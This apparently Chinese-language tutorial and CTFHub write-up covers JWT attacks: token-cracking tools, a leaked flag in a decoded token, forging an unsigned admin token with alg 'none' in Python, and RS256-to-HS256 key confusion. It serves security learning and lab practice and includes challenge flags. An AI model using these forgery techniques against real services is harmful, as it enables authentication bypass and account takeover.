jwt渗透与防御

jwt的概念

JWT(英文全称：JSON Web Token)

是一个开放标准（RFC 7519），用于在双方之间安全地表示声明。一种无状态的认证机制,通常用于授权和信息交换。

是目前 最流行的跨域认证解决方案。

破解JWT的工具

1、jwt_tool（git clone https://github.com/ticarpi/jwt_tool）

可以用来验证、伪造和破解JWT令牌。

2、jwt-cracker

该工具仅限于单一的签名算法(HS256) ，如果提供了不同的签名算法，则无法进行操作

https://github.com/lmammino/jwt-cracker

3、c-jwt-cracker

同样是暴力破解 JWT 私钥的工具。

https://github.com/brendan-rius/c-jwt-cracker

jwt_tool

$ git clone https://github.com/ticarpi/jwt_tool

$ python3 -m pip install termcolor cprint pycryptodomex requests

pip3 install pycryptodome

python jwt_tool.py -h

python jwt_tool.py -h

在线靶场

BurpSuiteplugins

https://github.com/portswigger/json-web-token-attacker

https://github.com/portswigger/json-web-tokens

CTFHUB案例

注册账号

CTFHub

敏感信息泄露

Token header values:

[+] AG = "560f185c7efa1e2}"

[+] typ = "JWT"

[+] alg = "HS256"

Token payload values:

[+] username = "admin"

[+] password = "12345"

[+] FL = "ctfhub{fdf982747"

ctfhub{fdf982747560f185c7efa1e2}

无签名

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMzIxIiwicm9sZSI6Imd1ZXN0In0.Vhl8hp3YyaCSkSejBoSPPMiXOPd23JZl6knLx1h3svQ

Original JWT:

=====================

Decoded Token Values:

=====================

Token header values:

[+] typ = "JWT"

[+] alg = "HS256"

Token payload values:

[+] username = "admin"

[+] password = "1321"

[+] role = "guest"

----------------------

JWT common timestamps:

iat = IssuedAt

exp = Expires

nbf = NotBefore

----------------------

{"typ":"JWT","alg":"none"}

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMzIxIiwicm9sZSI6Imd1ZXN0In0

└─# python

Python 3.11.4 (main, Jun 7 2023, 10:13:09) [GCC 12.2.0] on linux

Type "help", "copyright", "credits" or "license" for more information.

>>> import jwt

>>> encoded = jwt.encode({"username":"admin","password":"admin","role":"admin"},'',algorithm=none)

Traceback (most recent call last):

File "", line 1, in

NameError: name 'none' is not defined. Did you mean: 'None'?

>>> encoded = jwt.encode({"username":"admin","password":"admin","role":"admin"},'',algorithm='none')

>>> encoded

'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.'

>>>

KeyboardInterrupt

>>>

ctfhub{0c6165771c79d0eca7471f01}

修改签名算法

ctfhub：https://www.ctfhub.com

所需金币：50题目状态：已解出解题奖励：金币:50 经验:10

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时，有时攻击者可以获取到公钥，此时可通过修改JWT头部的签名算法，将非对称密码算法改为对称密码算法，从而达到攻击者目的。

http://challenge-f0f009b84767443f.sandbox.ctfhub.com:10800

-----BEGIN PUBLIC KEY-----

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx5MzhtMkwT8oIG0o+Spr

RxepmdFveFsI+haEX6eMZ68foi6v/l+2gFSLkCkVH1f+EIYx5G6m0jvQcmiml66m

P2GjeJIoArU3FLOGSIdBExXySMYuLZZNSvxNyHeZvEOGlQQBn4+StrUYuMqG7ZpO

LExz91UPvZZ/sSpzbpYV31S+KSz238ZAMx6ZPt9V7JuOlydUZ3s6/RgCMBekCbpn

Lr/z5cYWvvIFSgP43uxSap9Aqvm6TFICwPFzHoti/vNNDjkVadD0kFKGu01yBLMz

hdjMyC5eqZftWgScWCggCobfI/nAG2kmfgSgE3qs2pNsdaoRoPmkxwA+ZOqEcMow

FwIDAQAB

-----END PUBLIC KEY-----